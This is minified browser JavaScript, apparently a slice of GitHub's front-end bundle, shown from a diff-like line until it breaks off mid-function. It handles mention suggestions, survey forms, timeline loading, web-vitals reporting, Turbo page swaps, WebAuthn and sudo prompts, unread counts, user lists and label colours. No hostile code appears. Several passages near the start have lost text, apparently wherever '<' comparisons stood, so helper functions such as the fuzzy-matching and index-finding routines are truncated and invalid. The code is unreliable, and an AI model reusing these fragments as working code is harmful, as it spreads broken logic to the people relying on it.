  • + `},"itemTemplate");(0,Pe.sY)(n(e),t)}s(Ic,"mention_suggester_renderResults");function Dc(e){if(!e)return()=>2;const t=e.toLowerCase().split("");return(n,o)=>{if(!n)return 0;const r=Hc(n,t);if(!r)return 0;const a=e.length/r[1]/(r[0]/2+1);return o?a+1:a}}s(Dc,"fuzzyScorer");function Hc(e,t){let n,o,r,i;const a=Oc(e,t[0]);if(a.length===0)return null;if(t.length===1)return[a[0],1,[]];for(i=null,o=0,r=a.length;o-1;)o.push(n++);return o}s(Oc,"allIndexesOf");function Nc(e,t,n){let o=n;const r=[];for(let i=1;i(0,M.qC)((0,M.RB)(e,"text-expander-change",$c),(0,M.RB)(e,"text-expander-value",Bc))});function Bc(e){const t=e.detail;if(t.key!=="@")return;const n=t.item.getAttribute("data-value");t.value=`@${n}`}s(Bc,"mention_suggester_onvalue");function $c(e){const{key:t,provide:n,text:o}=e.detail;if(t!=="@"||(o==null?void 0:o.split(" ").length)>1)return;const i=e.target.getAttribute("data-mention-url");n(Fc(i,o))}s($c,"mention_suggester_onchange");async function Fc(e,t){const n=await Uc(e),o=document.createElement("div"),r=Pc(n,t).slice(0,5);return Ic(r,o),{fragment:o.firstElementChild,matched:r.length>0}}s(Fc,"mentionMenu");const Uc=(0,qe.Z)(async function(e){const t=await self.fetch(e,{headers:{"X-Requested-With":"XMLHttpRequest",Accept:"application/json"}});if(!t.ok){const n=new Error,o=t.statusText?` ${t.statusText}`:"";throw n.message=`HTTP ${t.status}${o}`,n}return t.json()});function Wc(e,t){const n=e.closest(".js-survey-question-form"),o=n.querySelector("input.js-survey-other-text"),r=t&&!n.classList.contains("is-other-selected");n.classList.toggle("is-other-selected",r),o.hidden=!t,r?(o.required=!0,o.focus()):o.required=!1,(0,c.f)(o,"change")}s(Wc,"handleOther"),(0,c.on)("change","input.js-survey-radio",function({currentTarget:e}){Wc(e,e.classList.contains("js-survey-radio-other"))}),(0,c.on)("change","input.js-survey-checkbox-enable-submit",function({currentTarget:e}){var t;const n=e.checked,o=(t=e.closest("form"))==null?void 0:t.querySelector("button[type=submit]");o.disabled=!n}),(0,c.on)("change","input.js-survey-contact-checkbox",function(e){const t=e.currentTarget,o=t.closest(".js-survey-question-form").querySelector(".js-survey-contact-checkbox-hidden");t.checked?o.setAttribute("disabled","true"):o.removeAttribute("disabled")}),(0,c.on)("details-menu-selected",".js-sync-select-menu-text",function(e){const t=document.querySelector(".js-sync-select-menu-button"),n=e.detail.relatedTarget.querySelector("span[data-menu-button-text]").textContent;t.textContent=n,t.focus()},{capture:!0}),(0,c.on)("click",'tab-container [role="tab"]',function(e){const{currentTarget:t}=e,o=t.closest("tab-container").querySelector(".js-filterable-field, [data-filter-placeholder-input]");if(o instanceof HTMLInputElement){const r=t.getAttribute("data-filter-placeholder");r&&o.setAttribute("placeholder",r),o.focus()}}),(0,c.on)("tab-container-changed","tab-container",function(e){const t=e.detail.relatedTarget,n=t.getAttribute("data-fragment-url"),o=t.querySelector("include-fragment");n&&o&&!o.hasAttribute("src")&&(o.src=n)});var fu=f(32222),Tr=f(96776);document.addEventListener("keydown",e=>{if(e.key!=="Escape"||e.target!==document.body)return;const t=document.querySelector(".js-targetable-element:target");!t||(0,Tr.uQ)(t,()=>{window.location.hash="",(0,E.lO)(window.history.state,"",window.location.pathname+window.location.search)})}),document.addEventListener("click",e=>{const t=document.querySelector(".js-targetable-element:target");!t||e.target instanceof HTMLAnchorElement||e.target instanceof HTMLElement&&(t.contains(e.target)||(0,Tr.uQ)(t,()=>{window.location.hash="",(0,E.lO)(window.history.state,"",window.location.pathname+window.location.search)}))});var mu=f(72669);async function zc(e){const t=e.currentTarget;if(Vc(t)){t.classList.remove("tooltipped");return}const n=t.getAttribute("data-url");if(!n)return;const o=await fetch(n,{headers:{Accept:"application/json"}});if(!o.ok)return;const r=await o.json(),i=t.getAttribute("data-id"),a=document.querySelectorAll(`.js-team-mention[data-id='${i}']`);for(const l of a)l.removeAttribute("data-url");try{r.total===0?r.members.push("This team has no members"):r.total>r.members.length&&r.members.push(`${r.total-r.members.length} more`),Ar(a,Kc(r.members))}catch(l){const y=l.response?l.response.status:500,w=t.getAttribute(y===404?"data-permission-text":"data-error-text");Ar(a,w)}}s(zc,"members");function Ar(e,t){for(const n of e)n instanceof HTMLElement&&(n.setAttribute("aria-label",t),n.classList.add("tooltipped","tooltipped-s","tooltipped-multiline"))}s(Ar,"tip");function Kc(e){if("ListFormat"in Intl)return new Intl.ListFormat().format(e);if(e.length===0)return"";if(e.length===1)return e[0];if(e.length===2)return e.join(" and ");{const t=e[e.length-1];return e.slice(0,-1).concat(`and ${t}`).join(", ")}}s(Kc,"sentence");function Vc(e){return!!e.getAttribute("data-hovercard-url")&&!!e.closest("[data-team-hovercards-enabled]")}s(Vc,"teamHovercardEnabled"),(0,u.N7)(".js-team-mention",function(e){e.addEventListener("mouseenter",zc)});function Xc(){const e=document.querySelector(".js-timeline-marker");return e!=null?e.getAttribute("data-last-modified"):null}s(Xc,"getTimelineLastModified");function Cr(e){if(Zc(e)||Gc(e))return;const t=Xc();t&&e.headers.set("X-Timeline-Last-Modified",t)}s(Cr,"addTimelineLastModifiedHeader");function Gc(e){return e.headers.get("X-PJAX")==="true"}s(Gc,"isPjax");function Zc(e){let t;try{t=new URL(e.url)}catch{return!0}return t.host!==window.location.host}s(Zc,"isCrossDomain"),(0,C.AC)(".js-needs-timeline-marker-header",function(e,t,n){Cr(n)}),(0,c.on)("deprecatedAjaxSend","[data-remote]",function(e){const{request:t}=e.detail;Cr(t)});const kr=5e3,Jc=".js-comment-body img",Qc=".js-comment-body video";(0,Xt.Z)(function(){St()}),(0,u.N7)(".js-timeline-progressive-focus-container",function(e){const t=Tt();if(!t||document.querySelector(".js-pull-discussion-timeline"))return;const o=document.getElementById(t);o&&e.contains(o)&&Cn(o)});function St(e=!0){const t=Tt();if(!t)return;const n=document.getElementById(t);if(n)Cn(n);else{if(Yc(t))return;const o=document.querySelector("#js-timeline-progressive-loader");o&&e&&qr(t,o)}}s(St,"focusOrLoadElement");function Yc(e){return el(e)||xr(e,".js-thread-hidden-comment-ids")||xr(e,".js-review-hidden-comment-ids")}s(Yc,"loadComments");function el(e){const t=Mr(e,".js-comment-container");return t?((0,Gt.$)(t),!0):!1}s(el,"loadResolvedComments");function xr(e,t){const n=Mr(e,t);return n?(n.addEventListener("page:loaded",function(){St()}),n.querySelector("button[type=submit]").click(),!0):!1}s(xr,"loadHiddenComments");function Mr(e,t){var n;const o=document.querySelectorAll(t);for(const r of o){const i=r.getAttribute("data-hidden-comment-ids");if(i){const a=i.split(","),l=(n=e.match(/\d+/g))==null?void 0:n[0];if(l&&a.includes(l))return r}}return null}s(Mr,"findCommentContainer"),(0,u.N7)(".js-inline-comments-container",function(e){const t=Tt();if(!t)return;const n=document.getElementById(t);n&&e.contains(n)&&Cn(n)}),(0,u.N7)("#js-discussions-timeline-anchor-loader",{constructor:HTMLElement,add:e=>{if(document.querySelector("#js-timeline-progressive-loader"))return;const n=Tt();if(!n)return;document.getElementById(n)||qr(n,e)}});async function tl(){const e=document.querySelectorAll(Qc),t=Array.from(e).map(n=>new Promise(o=>{if(n.readyState>=n.HAVE_METADATA)o(n);else{const r=setTimeout(()=>o(n),kr),i=s(()=>{clearTimeout(r),o(n)},"done");n.addEventListener("loadeddata",()=>{n.readyState>=n.HAVE_METADATA&&i()}),n.addEventListener("error",()=>i())}}));return Promise.all(t)}s(tl,"videosReady");async function nl(){const e=document.querySelectorAll(Jc),t=Array.from(e).map(n=>{new Promise(o=>{if(n.complete)o(n);else{const r=setTimeout(()=>o(n),kr),i=s(()=>{clearTimeout(r),o(n)},"done");n.addEventListener("load",()=>i()),n.addEventListener("error",()=>i())}})});return Promise.all(t)}s(nl,"imagesReady");async function ol(){return Promise.all([tl(),nl()])}s(ol,"mediaLoaded");async function Cn(e){await ol(),rl(e);const t=e.querySelector(`[href='#${e.id}']`);if(t){const n=t.getAttribute("data-turbo");t.setAttribute("data-turbo","false"),t.click(),n===null?t.removeAttribute("data-turbo"):t.setAttribute("data-turbo",n)}}s(Cn,"focusElement");async function qr(e,t){if(!t)return;const n=t.getAttribute("data-timeline-item-src");if(!n)return;const o=new URL(n,window.location.origin),r=new URLSearchParams(o.search.slice(1));r.append("anchor",e),o.search=r.toString();let i;try{i=await(0,pe.a)(document,o.toString())}catch{return}const a=i.querySelector(".js-timeline-item");if(!a)return;const l=a.getAttribute("data-gid");if(!l)return;const y=document.querySelector(`.js-timeline-item[data-gid='${l}']`);if(y)y.replaceWith(a),St(!1);else{const w=document.getElementById("js-progressive-timeline-item-container");w&&w.replaceWith(i),St(!1)}}s(qr,"loadElement");function rl(e){const t=e.closest("details, .js-details-container");!t||(t.nodeName==="DETAILS"?t.setAttribute("open","open"):(0,Vt.jo)(t)||(0,Vt.Qp)(t))}s(rl,"expandDetailsIfPresent");function Tt(){return window.location.hash.slice(1)}s(Tt,"urlAnchor"),(0,u.N7)(".js-discussion",sl);function sl(){let e=new WeakSet;t(),document.addEventListener("pjax:end",t),document.addEventListener("turbo:load",t),(0,u.N7)(".js-timeline-item",n=>{n instanceof HTMLElement&&(e.has(n)||(0,h.N)(n))});function t(){e=new WeakSet(document.querySelectorAll(".js-timeline-item"))}s(t,"setExistingTimelineItems")}s(sl,"announceTimelineEvents");var Qe=f(82131);function Ye(e){const{name:t,value:n}=e,o={name:window.location.href};switch(t){case"CLS":o.cls=n;break;case"FCP":o.fcp=n;break;case"FID":o.fid=n;break;case"LCP":o.lcp=n;break;case"TTFB":o.ttfb=n;break}(0,he.b)({webVitalTimings:[o]}),il(t,n)}s(Ye,"sendVitals");function il(e,t){const n=document.querySelector("#staff-bar-web-vitals"),o=n==null?void 0:n.querySelector(`[data-metric=${e.toLowerCase()}]`);!o||(o.textContent=t.toPrecision(6))}s(il,"updateStaffBar");function al(){return!!(window.performance&&window.performance.timing&&window.performance.getEntriesByType)}s(al,"isTimingSuppported");async function cl(){if(!al())return;await me.C,await new Promise(n=>setTimeout(n));const e=window.performance.getEntriesByType("resource");e.length&&(0,he.b)({resourceTimings:e});const t=window.performance.getEntriesByType("navigation");t.length&&(0,he.b)({navigationTimings:t})}s(cl,"sendTimingResults"),cl(),(0,Qe.kz)(Ye),(0,Qe.Y)(Ye),(0,Qe.Tx)(Ye),(0,Qe.Tb)(Ye),(0,Qe.CA)(Ye),(0,c.on)("click",".js-toggler-container .js-toggler-target",function(e){if(e.button!==0)return;const t=e.currentTarget.closest(".js-toggler-container");t&&t.classList.toggle("on")}),(0,C.AC)(".js-toggler-container",async(e,t)=>{e.classList.remove("success","error"),e.classList.add("loading");try{await t.text(),e.classList.add("success")}catch{e.classList.add("error")}finally{e.classList.remove("loading")}}),async function(){var e;if("serviceWorker"in navigator){await me.x;const t=(e=document.querySelector('link[rel="service-worker-src"]'))==null?void 0:e.href;t?navigator.serviceWorker.register(t,{scope:"/"}):await ll()}}();async function ll(){let e=[];try{e=await navigator.serviceWorker.getRegistrations()}catch(t){if(t.name==="SecurityError")return}for(const t of e)t.unregister()}if(s(ll,"unregisterAllServiceWorkers"),(0,U.c)("TURBO")){const e={},t=s(S=>{var R;const I=S.querySelector("[data-turbo-head]")||S.head;return{title:(R=I.querySelector("title"))==null?void 0:R.textContent,scripts:[...S.querySelectorAll("script")],stylesheets:[...S.querySelectorAll("link[rel=stylesheet]")],transients:[...I.querySelectorAll("[data-pjax-transient]")]}},"getTurboCacheNode");(async()=>(await me.x,e[document.location.href]=t(document)))();let n,o=!1;document.addEventListener("turbo:visit",S=>{S instanceof CustomEvent&&(n=S.detail.url)}),document.addEventListener("turbo:before-fetch-response",async S=>{if(!(0,Wo.H)(S.target))return;const R=await S.detail.fetchResponse.responseHTML,I=new DOMParser().parseFromString(R,"text/html");r(I)}),document.addEventListener("turbo:frame-render",async S=>{o=!0;const R=await S.detail.fetchResponse.responseHTML,I=new DOMParser().parseFromString(R,"text/html");i(I),e[n]=t(I)}),document.addEventListener(Se.QE.SUCCESS,()=>{!o||(o=!1,a(),l(),y(),w(),document.dispatchEvent(new CustomEvent(Se.QE.FRAME_UPDATE)))});const r=s(S=>{var R;const I=(R=S.querySelector("meta[name=turbo-body-classes]"))==null?void 0:R.content;!I||document.body.setAttribute("class",I)},"replaceBodyClasses"),i=s(S=>{const R=S.querySelectorAll("[data-turbo-replace]"),I=[...document.querySelectorAll("[data-turbo-replace]")];for(const F of R){const X=I.find(oe=>oe.id===F.id);X&&X.replaceWith(F)}},"replaceElements"),a=s(()=>{var S;const R=(S=e[document.location.href])==null?void 0:S.title;R&&(document.title=R)},"replaceTitle"),l=s(()=>{var S;const R=(S=e[document.location.href])==null?void 0:S.transients;if(!!R){for(const I of document.querySelectorAll("head [data-pjax-transient]"))I.remove();for(const I of R)I.matches("title, script, link[rel=stylesheet]")||(I.setAttribute("data-pjax-transient",""),document.head.append(I))}},"replaceTransientTags"),y=s(()=>{var S;const R=(S=e[document.location.href])==null?void 0:S.stylesheets;if(!!R)for(const I of R)document.head.querySelector(`link[href="${I.getAttribute("href")}"], + link[data-href="${I.getAttribute("data-href")}"]`)||document.head.append(I)},"addNewStylesheets"),w=s(()=>{var S;const R=(S=e[document.location.href])==null?void 0:S.scripts;if(!!R)for(const I of R)document.head.querySelector(`script[src="${I.getAttribute("src")}"]`)||document.head.append(I)},"addNewScripts")}function ul(){if("Intl"in window)try{return new window.Intl.DateTimeFormat().resolvedOptions().timeZone}catch{}}s(ul,"timezone"),window.requestIdleCallback(()=>{const e=ul();e&&(0,Ve.d8)("tz",encodeURIComponent(e))});var J=f(90420),Rr=f(70112),dl=Object.defineProperty,fl=Object.getOwnPropertyDescriptor,re=s((e,t,n,o)=>{for(var r=o>1?void 0:o?fl(t,n):t,i=e.length-1,a;i>=0;i--)(a=e[i])&&(r=(o?a(t,n,r):a(r))||r);return o&&r&&dl(t,n,r),r},"__decorateClass"),ml=(e=>(e.Initializing="initializing",e.Unsupported="unsupported",e.Ready="ready",e.Waiting="waiting",e.Error="error",e.Submitting="submitting",e))(ml||{});let be=s(class extends HTMLElement{constructor(){super(...arguments);this.state="initializing",this.json="",this.autofocusWhenReady=!1,this.autoPrompt=!1,this.hasErrored=!1}connectedCallback(){this.originalButtonText=this.button.textContent,this.setState((0,Rr.Zh)()?"ready":"unsupported"),this.autoPrompt&&this.prompt(void 0,!0)}setState(e){this.button.textContent=this.hasErrored?this.button.getAttribute("data-retry-message"):this.originalButtonText,this.button.disabled=!1,this.button.hidden=!1;for(const t of this.messages)t.hidden=!0;switch(e){case"initializing":this.button.disabled=!0;break;case"unsupported":this.button.disabled=!0,this.unsupportedMessage.hidden=!1;break;case"ready":this.autofocusWhenReady&&this.button.focus();break;case"waiting":this.waitingMessage.hidden=!1,this.button.hidden=!0;break;case"error":this.errorMessage.hidden=!1;break;case"submitting":this.button.textContent="Verifying\u2026",this.button.disabled=!0;break;default:throw new Error("invalid state")}this.state=e}async prompt(e,t){e==null||e.preventDefault(),this.dispatchEvent(new CustomEvent("webauthn-get-prompt"));try{t||this.setState("waiting");const n=JSON.parse(this.json),o=await(0,Rr.U2)(n);this.setState("submitting");const r=this.closest(".js-webauthn-form"),i=r.querySelector(".js-webauthn-response");i.value=JSON.stringify(o),(0,L.Bt)(r)}catch(n){if(!t)throw this.hasErrored=!0,this.setState("error"),n}}},"WebauthnGetElement");re([J.fA],be.prototype,"button",2),re([J.GO],be.prototype,"messages",2),re([J.fA],be.prototype,"unsupportedMessage",2),re([J.fA],be.prototype,"waitingMessage",2),re([J.fA],be.prototype,"errorMessage",2),re([J.Lj],be.prototype,"json",2),re([J.Lj],be.prototype,"autofocusWhenReady",2),re([J.Lj],be.prototype,"autoPrompt",2),be=re([J.Ih],be);var hl=(e=>(e.Initializing="initializing",e.ShowingForm="showing-form",e.ShowingRevealer="showing-revealer",e))(hl||{});let We=s(class extends HTMLElement{constructor(){super(...arguments);this.state="showing-form"}connectedCallback(){this.setState(this.state)}setState(e){switch(this.revealer.hidden=!0,this.form.hidden=!1,e){case"initializing":break;case"showing-form":this.dispatchEvent(new CustomEvent("sudo-password-showing-form"));break;case"showing-revealer":this.revealer.hidden=!1,this.form.hidden=!0;break;default:throw new Error("invalid state")}this.state=e}reveal(){this.setState("showing-form")}},"SudoPasswordElement");re([J.Lj],We.prototype,"state",2),re([J.fA],We.prototype,"revealer",2),re([J.fA],We.prototype,"form",2),re([J.fA],We.prototype,"passwordField",2),We=re([J.Ih],We);let At=s(class extends HTMLElement{connectedCallback(){var e;(e=this.webauthnGet)==null||e.addEventListener("webauthn-get-prompt",()=>{this.sudoPassword.setState("showing-revealer")}),this.sudoPassword.addEventListener("sudo-password-showing-form",()=>{var t;(t=this.webauthnGet)==null||t.setState("ready"),this.sudoPassword.passwordField.focus()})}},"SudoAuthElement");re([J.fA],At.prototype,"webauthnGet",2),re([J.fA],At.prototype,"sudoPassword",2),At=re([J.Ih],At);let kn=0;function pl(){if(!document.hasFocus())return;const e=document.querySelector(".js-timeline-marker-form");e&&e instanceof HTMLFormElement&&(0,L.Bt)(e)}s(pl,"markThreadAsRead");const Ct="IntersectionObserver"in window?new IntersectionObserver(function(e){for(const t of e)t.isIntersecting&&_r(t.target)},{root:null,rootMargin:"0px",threshold:1}):null;(0,u.N7)(".js-unread-item",{constructor:HTMLElement,add(e){kn++,Ct&&Ct.observe(e)},remove(e){kn--,Ct&&Ct.unobserve(e),kn===0&&pl()}});function _r(e){e.classList.remove("js-unread-item","unread-item")}s(_r,"clearUnread"),(0,u.N7)(".js-discussion[data-channel-target]",{subscribe:e=>(0,M.RB)(e,"socket:message",function(t){const n=t.target,o=t.detail.data;if(n.getAttribute("data-channel-target")===o.gid)for(const r of document.querySelectorAll(".js-unread-item"))_r(r)})});let kt=0;const Pr=/^\(\d+\)\s+/;function Ir(){const e=kt?`(${kt}) `:"";document.title.match(Pr)?document.title=document.title.replace(Pr,e):document.title=`${e}${document.title}`}s(Ir,"updateTitle"),(0,u.N7)(".js-unread-item",{add(){kt++,Ir()},remove(){kt--,Ir()}}),(0,u.N7)(".js-socket-channel.js-updatable-content",{subscribe:e=>(0,M.RB)(e,"socket:message",function(t){const{gid:n,wait:o}=t.detail.data,r=t.target,i=n?gl(r,n):r;i&&setTimeout(Me.x0,o||0,i)})});function gl(e,t){if(e.getAttribute("data-gid")===t)return e;for(const n of e.querySelectorAll("[data-url][data-gid]"))if(n.getAttribute("data-gid")===t)return n;return null}s(gl,"findByGid");async function bl(){if(!(!history.state||!history.state.staleRecords)){await me.x;for(const e in history.state.staleRecords)for(const t of document.querySelectorAll(`.js-updatable-content [data-url='${e}'], .js-updatable-content[data-url='${e}']`)){const n=history.state.staleRecords[e];t instanceof HTMLElement&&(0,Me.Of)(t,n,!0)}(0,E.lO)(null,"",location.href)}}s(bl,"reapplyPreviouslyUpdatedContent"),window.addEventListener("pagehide",Me.z8);try{bl()}catch{}(0,c.on)("upload:setup",".js-upload-avatar-image",function(e){const{form:t}=e.detail,n=e.currentTarget.getAttribute("data-alambic-organization"),o=e.currentTarget.getAttribute("data-alambic-owner-type"),r=e.currentTarget.getAttribute("data-alambic-owner-id");n&&t.append("organization_id",n),o&&t.append("owner_type",o),r&&t.append("owner_id",r)}),(0,c.on)("upload:complete",".js-upload-avatar-image",function(e){const{attachment:t}=e.detail,n=`/settings/avatars/${t.id}`;(0,Te.W)({content:(0,pe.a)(document,n),detailsClass:"upload-avatar-details"})}),(0,c.on)("dialog:remove",".upload-avatar-details",async function(e){const o=`/settings/avatars/${e.currentTarget.querySelector("#avatar-crop-form").getAttribute("data-alambic-avatar-id")}?op=destroy`,r=e.currentTarget.querySelector(".js-avatar-post-csrf").getAttribute("value"),i=new Request(o,{method:"POST",headers:{"Scoped-CSRF-Token":r,"X-Requested-With":"XMLHttpRequest"}});await self.fetch(i)});function xt(){if(document.querySelector(":target"))return;const e=(0,Tn.$z)(location.hash).toLowerCase(),t=(0,Tn.Q)(document,`user-content-${e}`);t&&(0,nn.zT)(t)}s(xt,"hashchange"),window.addEventListener("hashchange",xt),document.addEventListener("pjax:success",xt),async function(){await me.x,xt()}(),(0,c.on)("click","a[href]",function(e){const{currentTarget:t}=e;t instanceof HTMLAnchorElement&&t.href===location.href&&location.hash.length>1&&setTimeout(function(){e.defaultPrevented||xt()})});var hu=f(95128);async function yl(e){const t=e.currentTarget,{init:n}=await f.e("app_assets_modules_github_user-status-submit_ts").then(f.bind(f,35145));n(t)}s(yl,"user_status_loader_load"),(0,u.N7)(".js-user-status-container",{subscribe:e=>(0,M.RB)(e,"click",yl,{once:!0})});var Mt=f(55741);function vl(e,t){const n=e.querySelector(".js-user-list-base");n&&(n.textContent=t||n.getAttribute("data-generic-message"),n.hidden=!1)}s(vl,"setFlashError");function Dr(e,t){const o=(t||e).querySelectorAll(".js-user-list-error");for(const a of o)a.hidden=!0;const r=t?[t]:e.querySelectorAll(".errored.js-user-list-input-container");for(const a of r)a.classList.remove("errored");const i=e.querySelector(".js-user-list-base");i&&(i.hidden=!0)}s(Dr,"resetValidation"),(0,C.AC)(".js-user-list-form",async function(e,t){var n;Dr(e);const o=e.querySelector("[data-submitting-message]"),r=o==null?void 0:o.textContent;o&&(o.textContent=o.getAttribute("data-submitting-message"),o.disabled=!0);for(const i of e.querySelectorAll(".js-user-list-input"))i.disabled=!0;try{const i=await t.html();(0,c.f)(e,"user-list-form:success",i.html)}catch(i){if(((n=i.response)==null?void 0:n.status)===422)e.replaceWith(i.response.html);else{vl(e),o&&(r&&(o.textContent=r),o.disabled=!1);for(const a of e.querySelectorAll(".js-user-list-input"))a.disabled=!1}}}),(0,c.on)("user-list-form:success",".js-follow-list",e=>{const t=e.detail,n=t instanceof DocumentFragment?t.querySelector(".js-target-url"):null;(n==null?void 0:n.textContent)?location.href=n.textContent:location.reload()});function Hr(e){if(!(e.currentTarget instanceof HTMLElement))return;const t=e.currentTarget.closest(".js-user-list-form"),n=e.currentTarget.closest(".js-user-list-input-container");t&&n&&Dr(t,n)}s(Hr,"clearErrorsFromInput"),(0,j.q6)(".js-user-list-form input",Hr),(0,j.q6)(".js-user-list-form textarea",Hr),(0,c.on)("auto-check-error",".js-user-list-form input",function(e){const t=e.currentTarget.closest(".js-user-list-input-container"),n=t==null?void 0:t.querySelector(".js-user-list-error");n&&(n.hidden=!1)});function wl(e){var t;const n=new Map;for(const o of e){const r=(t=o.querySelector(".js-user-lists-create-trigger"))==null?void 0:t.getAttribute("data-repository-id");if(r){const i=n.get(r);i?i.push(o):n.set(r,[o])}}return n}s(wl,"groupRootsByRepositoryId");async function El(e,t,n){const o=new FormData;o.set("authenticity_token",t);for(const a of n)o.append("repository_ids[]",a);const r=await fetch(e,{method:"POST",body:o,headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}}),i=new Map;if(r.ok){const a=await r.json();for(const l in a)i.set(l,(0,q.r)(document,a[l]))}return i}s(El,"requestMenuBatchRender");function Ll(e,t){for(const[n,o]of e.entries()){const r=t.get(n)||[];for(const i of r)i.replaceWith(r.length===1?o:o.cloneNode(!0))}}s(Ll,"replaceUserListMenuRoots");async function Or(){var e;const t=document.querySelectorAll(".js-user-list-menu-content-root");if(t.length===0)return;const n=t[0].getAttribute("data-batch-update-url");if(!n)return;const o=(e=t[0].querySelector(".js-user-list-batch-update-csrf"))==null?void 0:e.value;if(!o)return;const r=wl(t),i=r.keys(),a=await El(n,o,i);a.size>0&&Ll(a,r)}s(Or,"updateAllUserListMenus");function jl(e){const t=new Promise((n,o)=>{e.addEventListener("user-list-menu-form:success",()=>n()),e.addEventListener("user-list-menu-form:error",r=>o(r))});return(0,L.Bt)(e),t}s(jl,"requestUserListMenuFormSubmit");function Sl(e){const t=e.target;if(!(t instanceof HTMLDetailsElement)||t.hasAttribute("open"))return;const n=t.querySelector(".js-user-list-menu-form");n&&(0,Mt.T)(n)&&(0,L.Bt)(n);const o=t.querySelector(".js-user-list-create-trigger-text");o&&(o.textContent="")}s(Sl,"submitUserListFormOnToggle"),(0,c.on)("toggle",".js-user-list-menu",Sl,{capture:!0}),(0,j.q6)(".js-user-lists-menu-filter",e=>{const t=e.currentTarget,n=t.value.trim(),o=t.closest(".js-user-list-menu-content-root"),r=o==null?void 0:o.querySelector(".js-user-list-create-trigger-text");!r||(r.textContent=n?`"${n}"`:"")}),(0,C.AC)(".js-user-list-menu-form",async function(e,t){let n;try{n=await t.json()}catch(r){(0,T.v)(),(0,c.f)(e,"user-list-menu-form:error",r);return}if(n.json.didStar){const r=e.closest(".js-toggler-container");r&&r.classList.add("on");const i=n.json.starCount;if(i){const a=e.closest(".js-social-container");a&&mr(a,i)}}const o=e.closest(".js-user-list-menu-content-root[data-update-after-submit]");if(o)for(const r of e.querySelectorAll(".js-user-list-menu-item"))r.checked=r.defaultChecked;n.json.didCreate?await Or():o&&await(0,Me.x0)(o),(0,c.f)(e,"user-list-menu-form:success")}),(0,c.on)("click",".js-user-list-delete-confirmation-trigger",e=>{const{currentTarget:t}=e,n=t.getAttribute("data-template-id");if(!n)return;const o=document.getElementById(n);if(!o||!(o instanceof HTMLTemplateElement))return;const r=t.closest(".js-edit-user-list-dialog");r&&(r.open=!1);const i=o.content.cloneNode(!0),a=o.getAttribute("data-labelledby");(0,Te.W)({content:i,labelledBy:a})}),(0,c.on)("click",".js-user-lists-create-trigger",async function(e){const{currentTarget:t}=e,n=document.querySelector(".js-user-list-create-dialog-template"),o=e.currentTarget.getAttribute("data-repository-id"),r=t.closest(".js-user-list-menu-content-root"),i=r==null?void 0:r.querySelector(".js-user-lists-menu-filter"),a=i==null?void 0:i.value.trim();if(!n||!(n instanceof HTMLTemplateElement)||!o){t instanceof HTMLButtonElement&&(t.disabled=!0);return}const l=n.getAttribute("data-label");if(r&&(0,Mt.T)(r)){const S=r.querySelector(".js-user-list-menu-form");S&&await jl(S)}const y=new lt.R(n,{repositoryId:o,placeholderName:a}),w=await(0,Te.W)({content:y,label:l});w.addEventListener("user-list-form:success",async()=>{await Or();const S=w.closest("details");S&&(S.open=!1)})}),(0,u.N7)("[data-warn-unsaved-changes]",{add(e){e.addEventListener("input",qt),e.addEventListener("change",qt),e.addEventListener("submit",et);const t=e.closest("details-dialog");t&&(t.closest("details").addEventListener("toggle",Nr),t.addEventListener("details-dialog-close",Br))},remove(e){e.removeEventListener("input",qt),e.removeEventListener("change",qt),e.removeEventListener("submit",et);const t=e.closest("details-dialog");t&&(t.closest("details").removeEventListener("toggle",Nr),t.removeEventListener("details-dialog-close",Br),et())}});function qt(e){const t=e.currentTarget;(0,Mt.T)(t)?Tl(t):et()}s(qt,"prepareUnsavedChangesWarning");function Tl(e){const t=e.getAttribute("data-warn-unsaved-changes")||"Changes you made may not be saved.";window.onbeforeunload=function(n){return n.returnValue=t,t}}s(Tl,"enableSaveChangesReminder");function et(){window.onbeforeunload=null}s(et,"disableSaveChangesReminder");function Nr({currentTarget:e}){e.hasAttribute("open")||et()}s(Nr,"disableSaveChangesReminderOnClosedDialogs");function Br(e){const t=e.currentTarget;if(!t.closest("details[open]"))return;let o=!0;const r=t.querySelectorAll("form[data-warn-unsaved-changes]");for(const i of r)if((0,Mt.T)(i)){const a=i.getAttribute("data-warn-unsaved-changes");o=confirm(a);break}o||e.preventDefault()}s(Br,"promptOnDialogClosing"),(0,u.N7)(".will-transition-once",{constructor:HTMLElement,subscribe:e=>(0,M.RB)(e,"transitionend",Al)});function Al(e){e.target.classList.remove("will-transition-once")}s(Al,"onTransitionEnd");async function Cl(e){const t=e.currentTarget,n=t.getAttribute("data-url");if(!n||kl(t))return;const o=t.getAttribute("data-id")||"",r=t.textContent,i=document.querySelectorAll(`.js-issue-link[data-id='${o}']`);for(const a of i)a.removeAttribute("data-url");try{const a=`${n}/title`,l=await fetch(a,{headers:{"X-Requested-With":"XMLHttpRequest",Accept:"application/json"}});if(!l.ok){const w=new Error,S=l.statusText?` ${l.statusText}`:"";throw w.message=`HTTP ${l.status}${S}`,w}const y=await l.json();$r(i,`${r}, ${y.title}`)}catch(a){const l=(a.response!=null?a.response.status:void 0)||500,y=(()=>{switch(l){case 404:return t.getAttribute("data-permission-text");default:return t.getAttribute("data-error-text")}})();$r(i,y||"")}}s(Cl,"issueLabel");function $r(e,t){for(const n of e)n instanceof HTMLElement&&(n.classList.add("tooltipped","tooltipped-ne"),n.setAttribute("aria-label",t))}s($r,"setLabel");function kl(e){switch(e.getAttribute("data-hovercard-type")){case"issue":case"pull_request":return!!e.closest("[data-issue-and-pr-hovercards-enabled]");case"discussion":return!!e.closest("[data-discussion-hovercards-enabled]");default:return!1}}s(kl,"isHovercardEnabled"),(0,u.N7)(".js-issue-link",{subscribe:e=>(0,M.RB)(e,"mouseenter",Cl)});var xl=f(12085),Ie=f.n(xl);function xn(){return[Math.floor(Math.random()*(255-0)+0),Math.floor(Math.random()*(255-0)+0),Math.floor(Math.random()*(255-0)+0)]}s(xn,"randomRGBColor");function tt(e,t){const n=Ie().rgb.hsl(t);e.style.setProperty("--label-r",t[0].toString()),e.style.setProperty("--label-g",t[1].toString()),e.style.setProperty("--label-b",t[2].toString()),e.style.setProperty("--label-h",n[0].toString()),e.style.setProperty("--label-s",n[1].toString()),e.style.setProperty("--label-l",n[2].toString())}s(tt,"setColorSwatch");function Mn(e,t){e.blur();const n=e.closest("form"),o=n.querySelector(".js-new-label-color-input");(0,L.Se)(o,`#${Ie().rgb.hex(t)}`);const r=n.querySelector(".js-new-label-color");tt(r,t)}s(Mn,"setInputColorFromButton");function Ml(e,t){e.closest(".js-label-error-container").classList.add("errored"),e.textContent=t,e.hidden=!1}s(Ml,"addErrorToField");function 